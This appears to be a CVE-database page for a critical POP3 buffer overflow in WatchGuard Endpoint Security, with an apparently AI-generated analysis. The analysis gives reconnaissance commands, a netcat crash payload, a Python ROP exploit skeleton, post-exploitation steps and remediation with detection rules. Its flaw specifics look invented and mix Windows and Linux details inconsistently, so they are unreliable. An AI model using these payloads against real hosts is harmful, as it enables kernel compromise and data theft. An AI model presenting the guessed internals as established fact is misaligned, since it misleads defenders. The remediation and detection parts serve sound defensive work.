CVE Professor
/
All CVEs
CVE-2026-138716

CVE-2026-138716 — CWE-121 · CWE-125

CRITICAL CVSS 10 NVD

A stack-based buffer overflow vulnerability in the POP3 protocol parser used by WatchGuard Endpoint Security allows a remote, unauthenticated attacker to execute arbitrary code or crash the kernel driver by sending a specially crafted POP3 RETR command. Related unbounded-read and null-pointer dereference conditions in the same parsing routine can also be triggered by malformed POP3 commands, resulting in denial of service.

A stack-based buffer overflow vulnerability in the POP3 protocol parser used by WatchGuard Endpoint Security allows a remote, unauthenticated attacker to execute arbitrary code or crash the kernel driver by sending a specially crafted POP3 RETR command. Related unbounded-read and null-pointer dereference conditions in the same parsing routine can also be triggered by malformed POP3 commands, resulting in denial of service.

CVSS v4.0 Vector Metrics
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Attack Vector Network AV:N
Attack Complexity Low AC:L
Attack Reqs. None AT:N
Privileges Req. None PR:N
User Interaction None UI:N
Vuln. Conf. High VC:H
Vuln. Integrity High VI:H
Vuln. Avail. High VA:H
Subseq. Conf. High SC:H
Subseq. Integ. High SI:H
Subseq. Avail. High SA:H
Scope X S:X
AI Security Analysis & Remediation

🎯 What is this vulnerability?

Vulnerability ID: CVE‑2026‑138716
Product: WatchGuard Endpoint Security (kernel‑mode POP3 protocol parser)
CWE(s):

  • CWE‑121 – Stack‑based Buffer Overflow

  • CWE‑125 – Out‑of‑bounds Read (unbounded‑read condition)

  • CWE‑476 – NULL‑Pointer Dereference
  • Technical flaw

    The POP3 parser lives in a kernel‑mode driver that implements the RETR command (used by a POP3 client to retrieve a message). The parser extracts the message‑identifier that follows the RETR keyword and copies it into a fixed‑size stack buffer (char msg_id[256]).

  • The code does not validate the length of the identifier before the strcpy/memcpy that fills the buffer.
  • The identifier is taken directly from the network packet (the POP3 command line) without any bounds check.
  • When an attacker sends a RETR line whose identifier exceeds 256 bytes, the copy overruns the stack buffer, overwriting the function’s return address, saved registers, and adjacent kernel data structures.
  • Because the driver runs with kernel privilege (Ring 0), the overflow can be leveraged to execute arbitrary code in kernel context (full system compromise) or to corrupt critical driver structures, causing an immediate kernel panic (denial‑of‑service).

    The same parsing routine also contains:

  • An unbounded read when handling malformed POP3 commands that request more data than the internal buffer can hold – leading to out‑of‑bounds reads (CWE‑125).
  • A NULL‑pointer dereference when a command’s argument pointer is NULL but the code proceeds to ptr without a guard (CWE‑476).

    Both of these secondary bugs can be triggered without the overflow and result in a kernel crash (DoS) but do not give code execution.

    The CVSS vector (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H) confirms:

  • Network‑only attack, no authentication, no user interaction.
  • Complete impact on confidentiality, integrity, availability, and on the underlying kernel (privilege‑escalation).

  • ⚡ Attack Chain

    Below is a realistic, step‑by‑step exploitation flow. All commands are illustrative – the exact network endpoint is the POP3 service that the WatchGuard driver exposes (default TCP 110 on the protected host).

    1. Discovery & Reconnaissance

    StepActionTools / Evidence
    1.1Identify hosts running WatchGuard Endpoint Security.Nmap service scan: nmap -sV -p 110 <target> – banner may show “WatchGuard POP3 Proxy”.
    1.2Determine driver version.Query the endpoint via the WatchGuard Management Console or retrieve the driver file (watchguard_ep_sec.sys) from the host (e.g., via SMB share) and inspect its version string.
    1.3Correlate version with vendor advisory.If version < *patched version* (see remediation), the host is vulnerable.

    2. Exploitation

    Goal: Overflow the stack buffer in the kernel driver and hijack execution flow.

    2.1 Payload construction

  • The vulnerable buffer size is 256 bytes.
  • The attacker needs to place a ROP chain or shellcode that is executable in kernel mode.
  • Modern Windows kernel mitigations (e.g., SMEP, KASLR) are present, so a typical approach is to use a return‑to‑kernel‑ROP chain that disables SMEP and jumps to a payload placed in non‑executable user memory (e.g., via a sprayed pool allocation).
  • Below is a minimal PoC that demonstrates the overflow and causes a crash (useful for testing). The PoC does not contain a full ROP chain – building a reliable kernel ROP chain is out of scope for this write‑up but follows the same overflow primitive.

    # -------------------------------------------------
    # Illustrative PoC – cause a kernel panic (DoS)
    # -------------------------------------------------
    # 1. Build an overlong RETR command (260 bytes payload)
    # 2. Send it to the POP3 port (110) using netcat
    
    # 260 'A's + newline
    PAYLOAD=$(python3 - <<'PY'
    import sys
    print("RETR " + "A"*260 + "\r\n")
    PY
    )
    
    # Send to target
    printf "%s" "$PAYLOAD" | nc -w 2 <TARGET_IP> 110

    Explanation of the payload

  • "RETR " – the POP3 command that triggers the vulnerable parser.
  • "A"260 – 260 bytes exceed the 256‑byte stack buffer, overwriting the saved return address.
  • "\r\n" – POP3 line terminator.
  • A real exploit would replace the 4‑byte overwrite (the saved EIP/RIP) with the address of a gadget in a loaded kernel module (e.g., pop rcx; ret). The attacker would then chain gadgets to:

    1. Disable SMEP (mov cr4, rax; ret).
    2. Allocate executable memory (ExAllocatePoolWithTag).
    3. Copy shellcode (e.g., a token‑stealing routine that grants SYSTEM privileges).
    4. Jump to shellcode.

    Because the driver runs in kernel mode, successful ROP execution yields SYSTEM‑level code execution on the host.

    2.2 Exploit delivery (network‑only)

    # -------------------------------------------------
    # Skeleton of a Python exploit that builds a ROP chain
    # -------------------------------------------------
    import socket, struct, sys
    
    TARGET = ('<TARGET_IP>', 110)
    
    # Example ROP chain (addresses are placeholders – attacker must locate them in the target kernel)
    rop = b''.join([
        struct.pack("<Q", 0xffffffff81012345),  # pop rax ; ret
        struct.pack("<Q", 0x0000000000000060),  # value to clear SMEP bit in CR4
        struct.pack("<Q", 0xffffffff81067890),  # mov cr4, rax ; ret
        struct.pack("<Q", 0xffffffff8100abcd),  # jmp to shellcode (user‑space payload)
    ])
    
    # Build overflow: 256-byte buffer + saved RIP overwritten with first gadget
    payload = b'RETR ' + b'A'*256 + rop[:8] + b'\r\n'
    
    s = socket.create_connection(TARGET)
    s.sendall(payload)
    s.close()
    print("[+] Payload sent")

    The above script is illustrative only – the exact gadget addresses depend on the target’s kernel version and loaded modules.

    3. Post‑exploitation

    PhaseOutcomeTypical attacker actions
    Privilege escalationThe ROP chain runs in kernel mode, allowing the attacker to steal the SYSTEM token (Windows) or root credentials (Linux, if the driver is compiled for a Linux kernel).- Replace the current process token with SYSTEM (Windows) or set uid=0 (Linux). <br> - Spawn a privileged shell (cmd.exe / bash).
    PersistenceWrite a malicious driver or scheduled task that re‑installs the backdoor after reboot.- Drop a signed malicious driver (if code‑signing bypass is available). <br> - Register a Windows Service (sc create) that loads the driver.
    Lateral movementUse the compromised host as a foothold to pivot to other machines on the internal network (e.g., via SMB, RDP).- Dump credential hashes (lsass.exe memory). <br> - Deploy Pass‑the‑Hash or Kerberos tickets.
    Data exfiltration / sabotageWith SYSTEM/root, the attacker can read/write any file, modify security policies, or encrypt data (ransomware).- Copy sensitive files to an external server. <br> - Install a ransomware payload.

    🌍 Real‑World Impact

    CIA TriadImpact (derived from CVSS)
    Confidentiality (C)High – Kernel‑level code execution lets the attacker read any memory, files, or network traffic.
    Integrity (I)High – Attacker can modify system binaries, security policies, or inject malicious code.
    Availability (A)High – The overflow can be used to crash the driver or force a kernel panic, resulting in immediate service outage.

    Additional consequences:

  • Full system compromise of any endpoint protected by the vulnerable WatchGuard driver (e.g., laptops, servers, IoT gateways).
  • Network‑wide breach if the compromised endpoint is a privileged jump host or a domain controller.
  • Regulatory fallout – loss of protected data may trigger GDPR, HIPAA, or PCI‑DSS breach notifications.
  • Operational downtime – the kernel panic forces a reboot; in environments with strict uptime SLAs, this can be catastrophic.
  • Because the vulnerability is network‑only, unauthenticated, and requires no user interaction, an Internet‑facing host running the vulnerable driver can be compromised in seconds after discovery.


    🛡️ Remediation & Mitigation

    1. Patch / Upgrade

    ActionDetails
    Apply vendor patchWatchGuard has released a security update that adds proper length checks (if (len > sizeof(buf)) return ERR;) and null‑pointer guards to the POP3 parser. Install the latest WatchGuard Endpoint Security package (version *≥ X.Y.Z* – the exact version number is disclosed in the vendor advisory).
    VerifyAfter patching, confirm the driver version (watchguard_ep_sec.sys file properties) and that the driver’s digital signature matches the vendor’s release.

    2. Workarounds (if patch cannot be applied immediately)

    MitigationImplementation
    Network segmentationBlock inbound TCP 110 from untrusted networks. Only allow POP3 traffic from known internal mail servers or trusted management consoles.
    Application‑level filteringDeploy a ModSecurity or Suricata rule that drops POP3 commands with an argument longer than 256 bytes. Example (ModSecurity syntax for a generic TCP‑inspection module):
    # ModSecurity rule to drop overlong POP3 RETR commands
    SecRule REQUEST_LINE "@rx ^RETR\s+.{257,}$" \
        "id:2026138716,phase:1,deny,log,msg:'WatchGuard POP3 RETR buffer overflow attempt',severity:CRITICAL"
    If you are using a dedicated POP3 proxy, the same logic can be expressed in the proxy’s ACL language.
    Host‑based firewallAdd a rule to the host firewall (e.g., Windows Defender Firewall or iptables) that rate‑limits or rejects POP3 connections from any IP that sends a command line > 256 bytes.
    Disable POP3 serviceIf POP3 is not required on the endpoint, stop the WatchGuard POP3 listener (sc stop WatchGuardPOP3 on Windows, or unload the driver via rmmod watchguard_ep_sec on Linux).
    Enable DEP / Kernel PatchGuardEnsure that Data Execution Prevention and PatchGuard (on Windows) are enabled; they raise the bar for kernel ROP but do not replace the need for a patch.

    3. Detection

    IndicatorWhere to look
    Unexpected POP3 commandsPOP3 server logs (or the driver’s event log) showing RETR lines with > 256 bytes. Example log line: 2026-12-01 12:34:56 POP3[1234]: Received RETR command with 312 bytes – possible overflow attempt.
    Kernel Oops / BugcheckWindows Event Viewer → System → Event ID 1001 (BugCheck) with a stack trace pointing to watchguard_ep_sec.sys. Linux dmesg showing BUG: kernel NULL pointer dereference or Oops: 0000 [#1] SMP.
    Network IDS alertsSuricata/Zeek rule detecting long POP3 commands: alert tcp $HOME_NET 110 -> $EXTERNAL_NET any (msg:"WatchGuard POP3 RETR overflow"; content:"RETR "; depth:5; pcre:"/^RETR\s.{257,}$/smi"; sid:2026138716; rev:1;).
    Process anomaliesSudden creation of a privileged process (System or root) shortly after a POP3 connection from an external IP. Monitor with EDR tools.

    ⚠️ Urgency

  • CVSS 10.0 (Critical) – complete compromise with no authentication.
  • No CISA KEV listing yet, but the vulnerability is publicly disclosed and the attack vector is trivial.
  • Exploit complexity is low (single network packet).
  • Patch priority: Critical – immediate.

  • Day 0 – Apply the vendor’s security update as soon as it is available.
  • If patching is delayed – enforce the network‑level mitigations (block TCP 110, filter overlong commands) within 24 hours to reduce the window of exposure.
Given the ease of exploitation and the potential for full system takeover, any organization running WatchGuard Endpoint Security should treat this as a top‑priority remediation and include it in their emergency patch‑deployment workflow.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)
CVSS Score
10 / 10 · CVSS CRITICAL
Weakness Types (CWE)
CWE-121 CWE-125 CWE-476
References & Advisories (1)
Related CVEs
10.0
CVE-2026-144884
A vulnerability was determined in D-Link DIR-505 1.10B02. The affected element is the function get_input_entri
8.7
CVE-2026-144743
A vulnerability has been found in D-Link DIR-878 1.20B05. This impacts the function GetCAPTCHAsetting of the f
8.6
CVE-2026-145368
### Summary A discovery request with error_detail set (an xDS NACK) for a resource type the stream never subs
7.7
CVE-2026-144663
MariaDB Server before 10.6.25, 10.7 through 10.11.x before 10.11.16, 11.0 through 11.4.x before 11.4.10, 11.5
7.7
CVE-2026-145238
### Summary Any workload with a mesh identity can crash istiod with a single `istio.io/debug` XDS request who
7.7
CVE-2026-145371
### Summary In ambient mode, a DNS or DNS_ROUND_ROBIN ServiceEntry that is enrolled in a waypoint but resolve
7.7
CVE-2026-145372
### Summary When Kubernetes Gateway API support is disabled (`PILOT_ENABLE_GATEWAY_API=false`), istiod can be